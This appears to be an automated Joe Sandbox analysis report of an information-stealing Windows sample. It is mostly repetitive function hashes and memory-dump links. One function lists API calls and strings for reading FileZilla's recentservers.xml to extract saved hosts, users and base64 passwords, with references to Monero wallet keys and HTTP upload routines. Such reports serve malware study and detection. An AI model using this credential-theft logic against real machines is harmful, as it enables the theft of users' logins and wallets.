Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: BW/v
API String ID: 0-3536886779
Opcode ID: d198f04e45285a41de75e1ae085caeedf5316a49cb410cf46ee477ef7826d91d
Instruction ID: 1f6b201e2c35922f28636dd8284e7a56ca70658bcb5f6f17bf3553f131d215f1
Opcode Fuzzy Hash: d198f04e45285a41de75e1ae085caeedf5316a49cb410cf46ee477ef7826d91d
Instruction Fuzzy Hash: C06127F3A082044FE3046E7DEC8977ABBD5DF98320F1A493DEAC487744E97958098686

Function 00F8A771 Relevance: 1.4, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

>">, xrefs: 00F8A801

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >">
API String ID: 0-3836190215
Opcode ID: b554c99200a5274a98a2fb3807e84d9b6d012d60a04153861a3006f58e554810
Instruction ID: 7b3ddcde67dbbe9a9e89e02b408c8e882cfe4582a9ef03ebe27cec3f7c4d8d35
Opcode Fuzzy Hash: b554c99200a5274a98a2fb3807e84d9b6d012d60a04153861a3006f58e554810
Instruction Fuzzy Hash: E35169F3A186145BE70CAE2CEC5677A76D6DBD4311F2A813DEB85C3384E9794C0182D6

Function 00FA92B7 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

[e6m, xrefs: 00FA93B0

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: [e6m
API String ID: 0-3377189604
Opcode ID: 123d4d3599aa26198e37fcb3f94747b5c52fe30a8696c0d29dae8da545453045
Instruction ID: ccc660e62b897021a08fe43ab7cbf1aeb03f1bd8ac352756e6d10c75d1d58b66
Opcode Fuzzy Hash: 123d4d3599aa26198e37fcb3f94747b5c52fe30a8696c0d29dae8da545453045
Instruction Fuzzy Hash: 945107B350C3089FE3586E29DC5963BF7E8EB90310F16892DEBD683384FA7158168653

Function 011743C1 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

vmW?, xrefs: 011745A2

Memory Dump Source

Source File: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: vmW?
API String ID: 0-1820565121
Opcode ID: 5c9ef784f9e3060e990505f17e4e895d32a5f993ebaf7b2e8e7e6c85014c0534
Instruction ID: 010cac5cbb11b2fb3221c18601a306456b7a884ee4a85c5c6715b56bb006243d
Opcode Fuzzy Hash: 5c9ef784f9e3060e990505f17e4e895d32a5f993ebaf7b2e8e7e6c85014c0534
Instruction Fuzzy Hash: 775197B251DA14DBD30C6E28D84563DB7F5EB98310F17482EDAD247B44EB7058808B97

Function 00FB27B9 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c2d5d78994ee90e444df99518a0b54a1d908116b625b95cf04cf6ec00ff1ee6
Instruction ID: 0d06083c4b81b7816295df46514e766bfa924b27c9c7bc9146fc206459fd214d
Opcode Fuzzy Hash: 3c2d5d78994ee90e444df99518a0b54a1d908116b625b95cf04cf6ec00ff1ee6
Instruction Fuzzy Hash: AA316EF2A0C6049FE315AE1ADCC57BAF7E6EB98310F0A892DD6C987740E63554148A86

Function 00F9E44E Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b283c805b3730483b40197c8ad6822fe954f88a35a9f6a50de31eef20ca3010
Instruction ID: eb74e4f1194d18ac9f3ee869d42ba333065470baf980725b21caf317ad52fd61
Opcode Fuzzy Hash: 0b283c805b3730483b40197c8ad6822fe954f88a35a9f6a50de31eef20ca3010
Instruction Fuzzy Hash: E931F2B3F082204BF3649A6DDC8072A73D6DBD4720F1A853D9F84EB788D8391D054295

Function 0112150F Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 430383d8499a10e7ceff7574e554e0a439d9d3b1e1217dbdfc4a74cbebf95b87
Instruction ID: 4cbd81a009c20483c92d9538e4b58d20bb86c1b363a2d96890d968145174b541
Opcode Fuzzy Hash: 430383d8499a10e7ceff7574e554e0a439d9d3b1e1217dbdfc4a74cbebf95b87
Instruction Fuzzy Hash: E73177B241C304AFD3057E18EC8167AFBE8EF55360F06092DEAC583610E775A850C787

Function 00F5D7D7 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8cd9731a9c16e791024a0034f7aa8d0ba9df52d11588fb9316729df6825afa2
Instruction ID: a60c008cda323085de91a840aadb082cd97da84f2a50585f89c2702d7219d882
Opcode Fuzzy Hash: f8cd9731a9c16e791024a0034f7aa8d0ba9df52d11588fb9316729df6825afa2
Instruction Fuzzy Hash: 9C21A2B35082048BE7497E39DC2533AB7E5FFA5710F1A493DC6C683780EA396955CB06

Function 00CC9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00CC0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CC8E0B

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Part of subcall function 00CB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CB99EC
Part of subcall function 00CB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CB9A11
Part of subcall function 00CB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00CB9A31
Part of subcall function 00CB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00CB148F,00000000), ref: 00CB9A5A
Part of subcall function 00CB99C0: LocalFree.KERNEL32(00CB148F), ref: 00CB9A90
Part of subcall function 00CB99C0: CloseHandle.KERNEL32(000000FF), ref: 00CB9A9A

Part of subcall function 00CC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CC8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00CD0DBA,00CD0DB7,00CD0DB6,00CD0DB3), ref: 00CC0362
RtlAllocateHeap.NTDLL(00000000), ref: 00CC0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00CC0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CD0DB2), ref: 00CC0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00CC03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CD0DB2), ref: 00CC03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00CC0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CD0DB2), ref: 00CC0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00CC0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CD0DB2), ref: 00CC0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CD0DB2), ref: 00CC0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CD0DB2), ref: 00CC051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CD0DB2), ref: 00CC0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CD0DB2), ref: 00CC054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00CC0562
lstrcat.KERNEL32(?,profile: null), ref: 00CC0571
lstrcat.KERNEL32(?,url: ), ref: 00CC0580
lstrcat.KERNEL32(?,00000000), ref: 00CC0593
lstrcat.KERNEL32(?,00CD1678), ref: 00CC05A2
lstrcat.KERNEL32(?,00000000), ref: 00CC05B5
lstrcat.KERNEL32(?,00CD167C), ref: 00CC05C4
lstrcat.KERNEL32(?,login: ), ref: 00CC05D3
lstrcat.KERNEL32(?,00000000), ref: 00CC05E6
lstrcat.KERNEL32(?,00CD1688), ref: 00CC05F5
lstrcat.KERNEL32(?,password: ), ref: 00CC0604
lstrcat.KERNEL32(?,00000000), ref: 00CC0617
lstrcat.KERNEL32(?,00CD1698), ref: 00CC0626
lstrcat.KERNEL32(?,00CD169C), ref: 00CC0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CD0DB2), ref: 00CC068E

Strings

profile: null, xrefs: 00CC0568
<Host>, xrefs: 00CC037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00CC02A4
login: , xrefs: 00CC05CA
<Port>, xrefs: 00CC03C6
<Pass encoding="base64">, xrefs: 00CC045A
browser: FileZilla, xrefs: 00CC0559
url: , xrefs: 00CC0577
password: , xrefs: 00CC05FB
<User>, xrefs: 00CC0410

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 22a7f04dd034935b3eb6051d917e1abbcec97fa02b82f8e712f4a12adca8630c
Instruction ID: 62faef95e2c7c611bc934f14bf27a2c350f84a59386a239f054905dbe0e50e20
Opcode Fuzzy Hash: 22a7f04dd034935b3eb6051d917e1abbcec97fa02b82f8e712f4a12adca8630c
Instruction Fuzzy Hash: 3BD11BB1900208ABCB04EBE5DD9AFFE7338EF54304F54452DF506B6191DE74AA0ADB62

Function 00CB5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Part of subcall function 00CB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CB4839
Part of subcall function 00CB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CB4849

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00CB59F8
StrCmpCA.SHLWAPI(?,0189E6F8), ref: 00CB5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CB5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0189E6D8,00000000,?,01898D88,00000000,?,00CD1A1C), ref: 00CB5E71
lstrlen.KERNEL32(00000000), ref: 00CB5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00CB5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00CB5E9A
lstrlen.KERNEL32(00000000), ref: 00CB5EAF
lstrlen.KERNEL32(00000000), ref: 00CB5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00CB5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00CB5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00CB5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00CB5F4C
InternetCloseHandle.WININET(00000000), ref: 00CB5FB0
InternetCloseHandle.WININET(00000000), ref: 00CB5FBD
HttpOpenRequestA.WININET(00000000,0189E668,?,0189DEC8,00000000,00000000,00400100,00000000), ref: 00CB5BF8

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

InternetCloseHandle.WININET(00000000), ref: 00CB5FC7

Strings

------, xrefs: 00CB5D4C
------, xrefs: 00CB5A96
", xrefs: 00CB5CD5
", xrefs: 00CB5E16
------, xrefs: 00CB5C0B

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
